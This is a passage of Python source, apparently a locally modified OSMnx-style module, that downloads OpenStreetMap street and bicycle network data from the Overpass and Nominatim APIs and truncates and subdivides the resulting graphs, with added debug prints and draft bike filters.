level=lg.ERROR)\n raise Exception('Server returned no JSON data.\\n{} {}\\n{}'.format(response, response.reason, response.text))\n\n return response_json\n\n\ndef overpass_request(data, pause_duration=None, timeout=180, error_pause_duration=None):\n \"\"\"\n Send a request to the Overpass API via HTTP POST and return the JSON\n response.\n\n Parameters\n ----------\n data : dict or OrderedDict\n key-value pairs of parameters to post to the API\n pause_duration : int\n how long to pause in seconds before requests, if None, will query API\n status endpoint to find when next slot is available\n timeout : int\n the timeout interval for the requests library\n error_pause_duration : int\n how long to pause in seconds before re-trying requests if error\n\n Returns\n -------\n dict\n \"\"\"\n\n print(\"overpass_request()\")\n\n # define the Overpass API URL, then construct a GET-style URL as a string to\n # hash to look up/save to cache\n url = 'http://overpass-api.de/api/interpreter'\n prepared_url = requests.Request('GET', url, params=data).prepare().url\n print(\"url for overpass request\", prepared_url)\n\n cached_response_json = get_from_cache(prepared_url)\n\n if cached_response_json is not None:\n # found this request in the cache, just return it instead of making a\n # new HTTP call\n return cached_response_json\n\n else:\n # if this URL is not already in the cache, pause, then request it\n if pause_duration is None:\n this_pause_duration = get_pause_duration()\n log('Pausing {:,.2f} seconds before making API POST request'.format(this_pause_duration))\n time.sleep(this_pause_duration)\n start_time = time.time()\n log('Posting to {} with timeout={}, \"{}\"'.format(url, timeout, data))\n response = requests.post(url, data=data, timeout=timeout, headers=get_http_headers())\n\n # get the response size and the domain, log result\n size_kb = len(response.content) / 1000.\n domain = re.findall(r'(?s)//(.*?)/', url)[0]\n log('Downloaded {:,.1f}KB from {} in {:,.2f} seconds'.format(size_kb, domain, time.time()-start_time))\n\n try:\n response_json = response.json()\n if 'remark' in response_json:\n log('Server remark: \"{}\"'.format(response_json['remark'], level=lg.WARNING))\n save_to_cache(prepared_url, response_json)\n except Exception:\n #429 is 'too many requests' and 504 is 'gateway timeout' from server\n # overload - handle these errors by recursively calling\n # overpass_request until we get a valid response\n if response.status_code in [429, 504]:\n # pause for error_pause_duration seconds before re-trying request\n if error_pause_duration is None:\n error_pause_duration = get_pause_duration()\n log('Server at {} returned status code {} and no JSON data. Re-trying request in {:.2f} seconds.'.format(domain,\n response.status_code,\n error_pause_duration),\n level=lg.WARNING)\n time.sleep(error_pause_duration)\n response_json = overpass_request(data=data, pause_duration=pause_duration, timeout=timeout)\n\n # else, this was an unhandled status_code, throw an exception\n else:\n log('Server at {} returned status code {} and no JSON data'.format(domain, response.status_code), level=lg.ERROR)\n raise Exception('Server returned no JSON data.\\n{} {}\\n{}'.format(response, response.reason, response.text))\n\n return response_json\n\n\ndef osm_polygon_download(query, limit=1, polygon_geojson=1):\n \"\"\"\n Geocode a place and download its boundary geometry from OSM's Nominatim API.\n\n Parameters\n ----------\n query : string or dict\n query string or structured query dict to geocode/download\n limit : int\n max number of results to return\n polygon_geojson : int\n request the boundary geometry polygon from the API, 0=no, 1=yes\n\n Returns\n -------\n dict\n \"\"\"\n \n print(\"osm_polygon_download\")\n \n # define the parameters\n params = OrderedDict()\n params['format'] = 'json'\n params['limit'] = limit\n params['dedupe'] = 0 #this prevents OSM from de-duping results so we're guaranteed to get precisely 'limit' number of results\n params['polygon_geojson'] = polygon_geojson\n\n # add the structured query dict (if provided) to params, otherwise query\n # with place name string\n if isinstance(query, str):\n params['q'] = query\n elif isinstance(query, dict):\n # add the query keys in alphabetical order so the URL is the same string\n # each time, for caching purposes\n for key in sorted(list(query.keys())):\n params[key] = query[key]\n else:\n raise TypeError('query must be a dict or a string')\n\n # request the URL, return the JSON\n response_json = nominatim_request(params=params, timeout=30)\n return response_json\n\n\ndef gdf_from_place(query, gdf_name=None, which_result=1, buffer_dist=None):\n \"\"\"\n Create a GeoDataFrame from a single place name query.\n\n Parameters\n ----------\n query : string or dict\n query string or structured query dict to geocode/download\n gdf_name : string\n name attribute metadata for GeoDataFrame (this is used to save shapefile\n later)\n which_result : int\n max number of results to return and which to process upon receipt\n buffer_dist : float\n distance to buffer around the place geometry, in meters\n\n Returns\n -------\n GeoDataFrame\n \"\"\"\n \n print(\"gdf_from_place()\")\n \n # if no gdf_name is passed, just use the query\n assert (isinstance(query, dict) or isinstance(query, str)), 'query must be a dict or a string'\n if (gdf_name is None) and isinstance(query, dict):\n gdf_name = ', '.join(list(query.values()))\n elif (gdf_name is None) and isinstance(query, str):\n gdf_name = query\n\n # get the data from OSM\n data = osm_polygon_download(query, limit=which_result)\n if len(data) >= which_result:\n\n # extract data elements from the JSON response\n result = data[which_result - 1]\n bbox_south, bbox_north, bbox_west, bbox_east = [float(x) for x in result['boundingbox']]\n geometry = result['geojson']\n place = result['display_name']\n features = [{'type': 'Feature',\n 'geometry': geometry,\n 'properties': {'place_name': place,\n 'bbox_north': bbox_north,\n 'bbox_south': bbox_south,\n 'bbox_east': bbox_east,\n 'bbox_west': bbox_west}}]\n\n # if we got an unexpected geometry type (like a point), log a warning\n if geometry['type'] not in ['Polygon', 'MultiPolygon']:\n log('OSM returned a {} as the geometry.'.format(geometry['type']), level=lg.WARNING)\n\n # create the GeoDataFrame, name it, and set its original CRS to default_crs\n gdf = gpd.GeoDataFrame.from_features(features)\n gdf.gdf_name = gdf_name\n gdf.crs = settings.default_crs\n\n # if buffer_dist was passed in, project the geometry to UTM, buffer it\n # in meters, then project it back to lat-long\n if buffer_dist is not None:\n gdf_utm = project_gdf(gdf)\n gdf_utm['geometry'] = gdf_utm['geometry'].buffer(buffer_dist)\n gdf = project_gdf(gdf_utm, to_latlong=True)\n log('Buffered the GeoDataFrame \"{}\" to {} meters'.format(gdf.gdf_name, buffer_dist))\n\n # return the gdf\n log('Created GeoDataFrame with {} row for query \"{}\"'.format(len(gdf), query))\n return gdf\n else:\n # if there was no data returned (or fewer results than which_result\n # specified)\n log('OSM returned no results (or fewer than which_result) for query \"{}\"'.format(query), level=lg.WARNING)\n gdf = gpd.GeoDataFrame()\n gdf.gdf_name = gdf_name\n return gdf\n\n\ndef gdf_from_places(queries, gdf_name='unnamed', buffer_dist=None):\n \"\"\"\n Create a GeoDataFrame from a list of place names to query.\n\n Parameters\n ----------\n queries : list\n list of query strings or structured query dicts to geocode/download, one\n at a time\n gdf_name : string\n name attribute metadata for GeoDataFrame (this is used to save shapefile\n later)\n buffer_dist : float\n distance to buffer around the place geometry, in meters\n\n Returns\n -------\n GeoDataFrame\n \"\"\"\n \n print(\"gdf_from_place()\")\n \n # create an empty GeoDataFrame then append each result as a new row\n gdf = gpd.GeoDataFrame()\n for query in queries:\n gdf = gdf.append(gdf_from_place(query, buffer_dist=buffer_dist))\n\n # reset the index, name the GeoDataFrame\n gdf = gdf.reset_index().drop(labels='index', axis=1)\n gdf.gdf_name = gdf_name\n\n # set the original CRS of the GeoDataFrame to default_crs, and return it\n gdf.crs = settings.default_crs\n log('Finished creating GeoDataFrame with {} rows from {} queries'.format(len(gdf), len(queries)))\n return gdf\n\n\ndef get_osm_filter(network_type):\n \"\"\"\n Create a filter to query OSM for the specified network type.\n\n Parameters\n ----------\n network_type : string\n {'walk', 'bike', 'drive', 'drive_service', 'all', 'all_private', 'none'}\n what type of street or other network to get\n\n Returns\n -------\n string\n \"\"\"\n \n print(\"get_osm_filter\")\n \n filters = {}\n\n # driving: filter out un-drivable roads, service roads, private ways, and\n # anything specifying motor=no. also filter out any non-service roads that\n # are tagged as providing parking, driveway, private, or emergency-access\n # services\n filters['drive'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"cycleway|footway|path|pedestrian|steps|track|corridor|'\n 'elevator|escalator|proposed|construction|bridleway|abandoned|platform|raceway|service\"]'\n '[\"motor_vehicle\"!~\"no\"][\"motorcar\"!~\"no\"]{}'\n '[\"service\"!~\"parking|parking_aisle|driveway|private|emergency_access\"]').format(settings.default_access)\n\n # drive+service: allow ways tagged 'service' but filter out certain types of\n # service ways\n filters['drive_service'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"cycleway|footway|path|pedestrian|steps|track|corridor|'\n 'elevator|escalator|proposed|construction|bridleway|abandoned|platform|raceway\"]'\n '[\"motor_vehicle\"!~\"no\"][\"motorcar\"!~\"no\"]{}'\n '[\"service\"!~\"parking|parking_aisle|private|emergency_access\"]').format(settings.default_access)\n\n # walking: filter out cycle ways, motor ways, private ways, and anything\n # specifying foot=no. allow service roads, permitting things like parking\n # lot lanes, alleys, etc that you *can* walk on even if they're not exactly\n # pleasant walks. some cycleways may allow pedestrians, but this filter ignores\n # such cycleways.\n filters['walk'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"cycleway|motor|proposed|construction|abandoned|platform|raceway\"]'\n '[\"foot\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n # biking: filter out foot ways, motor ways, private ways, and anything\n # specifying biking=no\n filters['bike'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"footway|steps|corridor|elevator|escalator|motor|proposed|'\n 'construction|abandoned|platform|raceway\"]'\n '[\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n # to download all ways, just filter out everything not currently in use or\n # that is private-access only\n filters['all'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"proposed|construction|abandoned|platform|raceway\"]'\n '[\"service\"!~\"private\"]{}').format(settings.default_access)\n\n # to download all ways, including private-access ones, just filter out\n # everything not currently in use\n filters['all_private'] = '[\"area\"!~\"yes\"][\"highway\"!~\"proposed|construction|abandoned|platform|raceway\"]'\n\n # no filter, needed for infrastructures other than \"highway\"\n filters['none'] = ''\n\n\n\n # my Filters\n ###################################################################\n\n filters['bike_1'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"footway|steps|corridor|elevator|escalator|motor|proposed|construction|abandoned|platform|raceway\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n filters['bike_2'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"primary|primary_link|trunk|trunk_link|footway|steps|corridor|elevator|escalator|motor|proposed|construction|abandoned|platform|raceway\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n \n filters['bike_3'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"secondary|secondary_link|primary|primary_link|trunk|trunk_link|footway|steps|corridor|elevator|escalator|motor|proposed|construction|abandoned|platform|raceway\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n \n filters['bike_4'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"tertiary|tertiary_link|secondary|secondary_link|primary|primary_link|trunk|trunk_link|footway|steps|corridor|elevator|escalator|motor|proposed|construction|abandoned|platform|raceway\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n filters['bike_5'] = ('[\"area\"!~\"yes\"][\"highway\"!~\"living_street|residential|tertiary|tertiary_link|secondary|secondary_link|primary|primary_link|trunk|trunk_link|footway|steps|corridor|elevator|escalator|motor|proposed|construction|abandoned|platform|raceway\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n\n\n ################################################\n # Draft 1\n\n filters['basic_bike'] = ('[\"area\"!~\"yes\"][\"highway\"=\"cycleway\"][\"highway\"=\"footway\"][\"highway\"=\"pedestrian\"][\"highway\"=\"path\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n # the | doesn't work for =, only for !~ it seems \n\n # way[highway=path][bicycle=designated]\n # '[\"area\"!~\"yes\"][\"highway\"=\"cycleway\"][\"highway\"=\"bridleway\"][\"highway\"=\"footway\"]'\n\n filters['moderate_bike'] = ('[\"area\"!=\"yes\"][\"highway\"=\"cycleway\"][\"highway\"=\"footway\"][\"highway\"=\"pedestrian\"][\"highway\"=\"path\"][\"highway\"=\"living_street\"][\"highway\"=\"residential\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n filters['tertiary_bike'] = ('[\"area\"!=\"yes\"][\"highway\"=\"tertiary\"][\"highway\"=\"unclassified\"][\"highway\"=\"tertiary_link\"][\"highway\"=\"cycleway\"][\"highway\"=\"footway\"][\"highway\"=\"pedestrian\"][\"highway\"=\"path\"][\"highway\"=\"living_street\"][\"highway\"=\"residential\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n filters['secondary_bike'] = ('[\"area\"!=\"yes\"][\"highway\"=\"unclassified\"][\"highway\"=\"secondary\"][\"highway\"=\"secondary_link\"][\"highway\"=\"tertiary\"][\"highway\"=\"tertiary_link\"][\"highway\"=\"cycleway\"][\"highway\"=\"footway\"][\"highway\"=\"pedestrian\"][\"highway\"=\"path\"][\"highway\"=\"living_street\"][\"highway\"=\"residential\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n filters['primary_bike'] = ('[\"area\"!=\"yes\"][\"highway\"=\"unclassified\"][\"highway\"=\"primary\"][\"highway\"=\"primary_link\"][\"highway\"=\"secondary\"][\"highway\"=\"secondary_link\"][\"highway\"=\"tertiary\"][\"highway\"=\"tertiary_link\"][\"highway\"=\"cycleway\"][\"highway\"=\"footway\"][\"highway\"=\"pedestrian\"][\"highway\"=\"path\"][\"highway\"=\"living_street\"][\"highway\"=\"residential\"][\"bicycle\"!~\"no\"][\"service\"!~\"private\"]{}').format(settings.default_access)\n\n\n if network_type in filters:\n osm_filter = filters[network_type]\n else:\n raise UnknownNetworkType('unknown network_type \"{}\"'.format(network_type))\n\n return osm_filter\n\n\ndef osm_net_download(polygon=None, north=None, south=None, east=None, west=None,\n network_type='all_private', timeout=180, memory=None,\n max_query_area_size=50*1000*50*1000, infrastructure='way[\"highway\"]',\n custom_filter=None):\n \"\"\"\n Download OSM ways and nodes within some bounding box from the Overpass API.\n\n Parameters\n ----------\n polygon : shapely Polygon or MultiPolygon\n geographic shape to fetch the street network within\n north : float\n northern latitude of bounding box\n south : float\n southern latitude of bounding box\n east : float\n eastern longitude of bounding box\n west : float\n western longitude of bounding box\n network_type : string\n {'walk', 'bike', 'drive', 'drive_service', 'all', 'all_private'} what\n type of street network to get\n timeout : int\n the timeout interval for requests and to pass to API\n memory : int\n server memory allocation size for the query, in bytes. If none, server\n will use its default allocation size\n max_query_area_size : float\n max area for any part of the geometry, in the units the geometry is in:\n any polygon bigger will get divided up for multiple queries to API\n (default is 50,000 * 50,000 units [ie, 50km x 50km in area, if units are\n meters])\n infrastructure : string\n download infrastructure of given type. default is streets, ie,\n 'way[\"highway\"]') but other infrastructures may be selected like power\n grids, ie, 'way[\"power\"~\"line\"]'\n custom_filter : string\n a custom network filter to be used instead of the network_type presets\n\n Returns\n -------\n response_jsons : list\n \"\"\"\n\n print(\"osm_net_download\")\n\n # check if we're querying by polygon or by bounding box based on which\n # argument(s) where passed into this function\n by_poly = polygon is not None\n by_bbox = not (north is None or south is None or east is None or west is None)\n if not (by_poly or by_bbox):\n raise InsufficientNetworkQueryArguments(\n 'You must pass a polygon or north, south, east, and west')\n\n # create a filter to exclude certain kinds of ways based on the requested\n # network_type\n if custom_filter:\n osm_filter = custom_filter\n else:\n osm_filter = get_osm_filter(network_type)\n response_jsons = []\n\n\n print(\"osm_filter for osm_net_download: \", osm_filter)\n # pass server memory allocation in bytes for the query to the API\n # if None, pass nothing so the server will use its default allocation size\n # otherwise, define the query's maxsize parameter value as whatever the\n # caller passed in\n if memory is None:\n maxsize = ''\n else:\n maxsize = '[maxsize:{}]'.format(memory)\n\n # define the query to send the API\n # specifying way[\"highway\"] means that all ways returned must have a highway\n # key. the {filters} then remove ways by key/value. the '>' makes it recurse\n # so we get ways and way nodes. maxsize is in bytes.\n if by_bbox:\n # turn bbox into a polygon and project to local UTM\n polygon = Polygon([(west, south), (east, south), (east, north), (west, north)])\n geometry_proj, crs_proj = project_geometry(polygon)\n\n # subdivide it if it exceeds the max area size (in meters), then project\n # back to lat-long\n geometry_proj_consolidated_subdivided = consolidate_subdivide_geometry(geometry_proj, max_query_area_size=max_query_area_size)\n geometry, _ = project_geometry(geometry_proj_consolidated_subdivided, crs=crs_proj, to_latlong=True)\n log('Requesting network data within bounding box from API in {:,} request(s)'.format(len(geometry)))\n start_time = time.time()\n\n # loop through each polygon rectangle in the geometry (there will only\n # be one if original bbox didn't exceed max area size)\n for poly in geometry:\n # represent bbox as south,west,north,east and round lat-longs to 6\n # decimal places (ie, ~100 mm) so URL strings aren't different\n # due to float rounding issues (for consistent caching)\n west, south, east, north = poly.bounds\n query_template = '[out:json][timeout:{timeout}]{maxsize};({infrastructure}{filters}({south:.6f},{west:.6f},{north:.6f},{east:.6f});>;);out;'\n query_str = query_template.format(north=north, south=south,\n east=east, west=west,\n infrastructure=infrastructure,\n filters=osm_filter,\n timeout=timeout, maxsize=maxsize)\n print(\"query string to Overpass: \", query_str)\n response_json = overpass_request(data={'data':query_str}, timeout=timeout)\n response_jsons.append(response_json)\n log('Got all network data within bounding box from API in {:,} request(s) and {:,.2f} seconds'.format(len(geometry), time.time()-start_time))\n\n elif by_poly:\n # project to utm, divide polygon up into sub-polygons if area exceeds a\n # max size (in meters), project back to lat-long, then get a list of\n # polygon(s) exterior coordinates\n geometry_proj, crs_proj = project_geometry(polygon)\n geometry_proj_consolidated_subdivided = consolidate_subdivide_geometry(geometry_proj, max_query_area_size=max_query_area_size)\n geometry, _ = project_geometry(geometry_proj_consolidated_subdivided, crs=crs_proj, to_latlong=True)\n polygon_coord_strs = get_polygons_coordinates(geometry)\n log('Requesting network data within polygon from API in {:,} request(s)'.format(len(polygon_coord_strs)))\n start_time = time.time()\n\n # pass each polygon exterior coordinates in the list to the API, one at\n # a time\n for polygon_coord_str in polygon_coord_strs:\n query_template = '[out:json][timeout:{timeout}]{maxsize};({infrastructure}{filters}(poly:\"{polygon}\");>;);out;'\n query_str = query_template.format(polygon=polygon_coord_str, infrastructure=infrastructure, filters=osm_filter, timeout=timeout, maxsize=maxsize)\n response_json = overpass_request(data={'data':query_str}, timeout=timeout)\n response_jsons.append(response_json)\n log('Got all network data within polygon from API in {:,} request(s) and {:,.2f} seconds'.format(len(polygon_coord_strs), time.time()-start_time))\n\n return response_jsons\n\n\ndef consolidate_subdivide_geometry(geometry, max_query_area_size):\n \"\"\"\n Consolidate a geometry into a convex hull, then subdivide it into smaller sub-polygons if its area exceeds max size (in geometry's units).\n\n Parameters\n ----------\n geometry : shapely Polygon or MultiPolygon\n the geometry to consolidate and subdivide\n max_query_area_size : float\n max area for any part of the geometry, in the units the geometry is in.\n any polygon bigger will get divided up for multiple queries to API (\n default is 50,000 * 50,000 units (ie, 50km x 50km in area, if units are meters))\n\n Returns\n -------\n geometry : Polygon or MultiPolygon\n \"\"\"\n\n print('consolidate_subdivide_geometry()')\n\n # let the linear length of the quadrats (with which to subdivide the\n # geometry) be the square root of max area size\n quadrat_width = math.sqrt(max_query_area_size)\n\n if not isinstance(geometry, (Polygon, MultiPolygon)):\n raise TypeError('Geometry must be a shapely Polygon or MultiPolygon')\n\n # if geometry is a MultiPolygon OR a single Polygon whose area exceeds the\n # max size, get the convex hull around the geometry\n if isinstance(geometry, MultiPolygon) or (isinstance(geometry, Polygon) and geometry.area > max_query_area_size):\n geometry = geometry.convex_hull\n\n # if geometry area exceeds max size, subdivide it into smaller sub-polygons\n if geometry.area > max_query_area_size:\n geometry = quadrat_cut_geometry(geometry, quadrat_width=quadrat_width)\n\n if isinstance(geometry, Polygon):\n geometry = MultiPolygon([geometry])\n\n return geometry\n\n\ndef get_polygons_coordinates(geometry):\n \"\"\"\n Extract exterior coordinates from polygon(s) to pass to OSM in a query by\n polygon. Ignore the interior (\"holes\") coordinates.\n\n Parameters\n ----------\n geometry : shapely Polygon or MultiPolygon\n the geometry to extract exterior coordinates from\n\n Returns\n -------\n polygon_coord_strs : list\n \"\"\"\n\n print('get_polygons_coordinates()')\n\n # extract the exterior coordinates of the geometry to pass to the API later\n polygons_coords = []\n if isinstance(geometry, Polygon):\n x, y = geometry.exterior.xy\n polygons_coords.append(list(zip(x, y)))\n elif isinstance(geometry, MultiPolygon):\n for polygon in geometry:\n x, y = polygon.exterior.xy\n polygons_coords.append(list(zip(x, y)))\n else:\n raise TypeError('Geometry must be a shapely Polygon or MultiPolygon')\n\n # convert the exterior coordinates of the polygon(s) to the string format\n # the API expects\n polygon_coord_strs = []\n for coords in polygons_coords:\n s = ''\n separator = ' '\n for coord in list(coords):\n # round floating point lats and longs to 6 decimal places (ie, ~100 mm),\n # so we can hash and cache strings consistently\n s = '{}{}{:.6f}{}{:.6f}'.format(s, separator, coord[1], separator, coord[0])\n polygon_coord_strs.append(s.strip(separator))\n\n return polygon_coord_strs\n\n\ndef get_node(element):\n \"\"\"\n Convert an OSM node element into the format for a networkx node.\n\n Parameters\n ----------\n element : dict\n an OSM node element\n\n Returns\n -------\n dict\n \"\"\"\n\n # print('get_node()')\n # too repetitive called from loop\n\n node = {}\n node['y'] = element['lat']\n node['x'] = element['lon']\n node['osmid'] = element['id']\n if 'tags' in element:\n for useful_tag in settings.useful_tags_node:\n if useful_tag in element['tags']:\n node[useful_tag] = element['tags'][useful_tag]\n return node\n\n\ndef get_path(element):\n \"\"\"\n Convert an OSM way element into the format for a networkx graph path.\n\n Parameters\n ----------\n element : dict\n an OSM way element\n\n Returns\n -------\n dict\n \"\"\"\n\n #print('get_path()')\n #called in a loop, don't print here\n\n path = {}\n path['osmid'] = element['id']\n\n # remove any consecutive duplicate elements in the list of nodes\n grouped_list = groupby(element['nodes'])\n path['nodes'] = [group[0] for group in grouped_list]\n\n if 'tags' in element:\n for useful_tag in settings.useful_tags_path:\n if useful_tag in element['tags']:\n path[useful_tag] = element['tags'][useful_tag]\n return path\n\n\ndef parse_osm_nodes_paths(osm_data):\n \"\"\"\n Construct dicts of nodes and paths with key=osmid and value=dict of\n attributes.\n\n Parameters\n ----------\n osm_data : dict\n JSON response from from the Overpass API\n\n Returns\n -------\n nodes, paths : tuple\n \"\"\"\n\n print('parse_osm_nodes_paths()')\n\n nodes = {}\n paths = {}\n for element in osm_data['elements']:\n if element['type'] == 'node':\n key = element['id']\n nodes[key] = get_node(element)\n elif element['type'] == 'way': #osm calls network paths 'ways'\n key = element['id']\n paths[key] = get_path(element)\n\n return nodes, paths\n\n\ndef remove_isolated_nodes(G):\n \"\"\"\n Remove from a graph all the nodes that have no incident edges (ie, node\n degree = 0).\n\n Parameters\n ----------\n G : networkx multidigraph\n the graph from which to remove nodes\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n \n print('remove_isolated_nodes()')\n\n isolated_nodes = [node for node, degree in dict(G.degree()).items() if degree < 1]\n G.remove_nodes_from(isolated_nodes)\n log('Removed {:,} isolated nodes'.format(len(isolated_nodes)))\n return G\n\n\ndef truncate_graph_dist(G, source_node, max_distance=1000, weight='length', retain_all=False):\n \"\"\"\n Remove everything further than some network distance from a specified node\n in graph.\n\n Parameters\n ----------\n G : networkx multidigraph\n source_node : int\n the node in the graph from which to measure network distances to other\n nodes\n max_distance : int\n remove every node in the graph greater than this distance from the\n source_node\n weight : string\n how to weight the graph when measuring distance (default 'length' is\n how many meters long the edge is)\n retain_all : bool\n if True, return the entire graph even if it is not connected\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n\n print('truncate_graph_dist()')\n\n # get the shortest distance between the node and every other node, then\n # remove every node further than max_distance away\n start_time = time.time()\n G = G.copy()\n distances = nx.shortest_path_length(G, source=source_node, weight=weight)\n distant_nodes = {key:value for key, value in dict(distances).items() if value > max_distance}\n G.remove_nodes_from(distant_nodes.keys())\n log('Truncated graph by weighted network distance in {:,.2f} seconds'.format(time.time()-start_time))\n\n # remove any isolated nodes and retain only the largest component (if\n # retain_all is True)\n if not retain_all:\n G = remove_isolated_nodes(G)\n G = get_largest_component(G)\n\n return G\n\n\ndef truncate_graph_bbox(G, north, south, east, west, truncate_by_edge=False, retain_all=False):\n \"\"\"\n Remove every node in graph that falls outside a bounding box.\n\n Needed because overpass returns entire ways that also include nodes outside\n the bbox if the way (that is, a way with a single OSM ID) has a node inside\n the bbox at some point.\n\n Parameters\n ----------\n G : networkx multidigraph\n north : float\n northern latitude of bounding box\n south : float\n southern latitude of bounding box\n east : float\n eastern longitude of bounding box\n west : float\n western longitude of bounding box\n truncate_by_edge : bool\n if True retain node if it's outside bbox but at least one of node's\n neighbors are within bbox\n retain_all : bool\n if True, return the entire graph even if it is not connected\n\n Returns\n -------\n networkx multidigraph\n \"\"\"\n\n print('truncate_graph_bbox()')\n\n start_time = time.time()\n G = G.copy()\n nodes_outside_bbox = []\n\n for node, data in G.nodes(data=True):\n if data['y'] > north or data['y'] < south or data['x'] > east or data['x'] < west:\n # this node is outside the bounding box\n if not truncate_by_edge:\n # if we're not truncating by edge, add node to list of nodes\n # outside the bounding box\n nodes_outside_bbox.append(node)\n else:\n # if we're truncating by edge, see if any of node's neighbors\n # are within bounding box\n any_neighbors_in_bbox = False\n neighbors = list(G.successors(node)) + list(G.predecessors(node))\n for neighbor in neighbors:\n x = G.nodes[neighbor]['x']\n y = G.nodes[neighbor]['y']\n if y < north and y > south and x < east and x > west:\n any_neighbors_in_bbox = True\n break\n\n # if none of its neighbors are within the bounding box, add node\n # to list of nodes outside the bounding box\n if not any_neighbors_in_bbox:\n nodes_outside_bbox.append(node)\n\n G.remove_nodes_from(nodes_outside_bbox)\n log('Truncated graph by bounding box in {:,.2f} seconds'.format(time.time()-start_time))\n\n # remove any isolated nodes and retain only the largest component (if\n # retain_all is True)\n if not retain_all:\n G = remove_isolated_nodes(G)\n G = get_largest_component(G)\n\n return G\n\n\ndef quadrat_cut_geometry(geometry, quadrat_width, min_num=3, buffer_amount=1e-9):\n \"\"\"\n Split a Polygon or MultiPolygon up into sub-polygons of a specified size,\n using quadrats.\n\n Parameters\n ----------\n geometry : shapely Polygon or MultiPolygon\n the geometry to split up into smaller sub-polygons\n quadrat_width : numeric\n the linear width of the quadrats with which to cut up the geometry (in\n the units the geometry is in)\n min_num : int\n the minimum number of linear quadrat lines (e.g., min_num=3 would\n produce a quadrat grid of 4 squares)\n buffer_amount : numeric\n buffer the quadrat grid lines by quadrat_width times buffer_amount\n\n Returns\n -------\n shapely MultiPolygon\n \"\"\"\n\n print('quadrat_cut_geometry()')\n\n # create n evenly spaced points between the min and max x and y bounds\n west, south, east, north = geometry.bounds\n x_num = math.ceil((east-west) / quadrat_width) + 1\n y_num = math.ceil((north-south) / quadrat_width) + 1\n x_points = np.linspace(west, east, num=max(x_num, min_num))\n y_points = np.linspace(south, north, num=max(y_num, min_num))\n\n # create a quadrat grid of lines at each of the evenly spaced points\n vertical_lines = [LineString([(x, y_points[0]), (x, y_points[-1])]) for x in x_points]\n horizont_lines = [LineString([(x_points[0], y), (x_points[-1], y)]) for y in y_points]\n lines = vertical_lines + horizont_lines\n\n # buffer each line to distance of the quadrat width divided by 1 billion,\n # take their union, then cut geometry into pieces by these quadrats\n buffer_size = quadrat_width * buffer_amount\n lines_buffered = [line.buffer(buffer_size) for line in lines]\n quadrats = unary_union(lines_buffered)\n multipoly = geometry.difference(quadrats)\n\n return multipoly\n\n\ndef intersect_index_quadrats(gdf, geometry, quadrat_width=0.05, min_num=3, buffer_amount=1e-9):\n \"\"\"\n Intersect points with a polygon, using an r-tree spatial index and cutting\n the polygon up into smaller sub-polygons for r-tree acceleration.\n\n Parameters\n ----------\n gdf : GeoDataFrame\n the set of points to intersect\n geometry : shapely Polygon or MultiPolygon\n the geometry to intersect with the points\n quadrat_width : numeric\n the linear length (in degrees) of the quadrats with which to cut up the\n geometry (default = 0.05, approx 4km at NYC's latitude)\n min_num : int\n the minimum number of linear quadrat lines (e.g., min_num=3 would\n produce a quadrat grid of 4 squares)\n buffer_amount : numeric\n buffer the quadrat grid lines by quadrat_width times buffer_amount\n\n Returns\n -------\n GeoDataFrame\n \"\"\"\n\n print('intersect_index_quadrats()')\n\n # create an empty dataframe to append matches to\n points_within_geometry = pd.DataFrame()\n\n # cut the geometry into chunks for r-tree spatial index intersecting\n multipoly = quadrat_cut_geometry(geometry, quadrat_width=quadrat_width, buffer_amount=buffer_amount, min_num=min_num)\n\n # create an r-tree spatial index for the nodes (ie, points)\n start_time = time.time()\n sindex = gdf['geometry'].sindex\n log('Created r-tree spatial index for {:,} points in {:,.2f} seconds'.format(len(gdf), time.time()-start_time))\n\n # loop through each chunk of the geometry to find approximate and then\n # precisely intersecting points\n start_time = time.time()\n for poly in multipoly:\n\n # buffer by the tiny distance to account for any space lost in the\n # quadrat cutting, otherwise may miss point(s) that lay directly on\n # quadrat line\n buffer_size = quadrat_width * buffer_amount\n poly = poly.buffer(buffer_size).buffer(0)\n\n # find approximate matches with r-tree, then precise matches from those\n # approximate ones\n if poly.is_valid and poly.area > 0:\n possible_matches_index = list(sindex.intersection(poly.bounds))\n possible_matches = gdf.iloc[possible_matches_index]\n precise_matches = possible_matches[possible_matches.intersects(poly)]\n points_within_geometry = points_within_geometry.append(precise_matches)\n\n if len(points_within_geometry) > 0:\n # drop duplicate points, if buffered poly caused an overlap on point(s)\n # that lay directly on a quadrat line\n points_within_geometry = points_within_geometry.drop_duplicates(subset='node')\n else:\n # after simplifying the graph, and given the requested network type,\n # there are no nodes inside the polygon - can't create graph from that\n # so throw error\n raise Exception('There are no nodes within the requested geometry')\n\n log('Identified {:,} nodes inside polygon in {:,.2f} seconds'.format(len(points_within_geometry), time.time()-start_time))\n return points_within_geometry\n\n\ndef truncate_graph_polygon(G, polygon, retain_all=False, truncate_by_edge=False, quadrat_width=0.05, min_num=3, buffer_amount=1e-9):\n \"\"\"\n Remove every node in graph that falls outside some shapely Polygon or\n MultiPolygon.\n\n Parameters\n ----------\n G : networkx multidigraph\n polygon : Polygon or MultiPolygon\n only retain nodes in graph that lie within this geometry\n retain_all : bool\n if True, return the 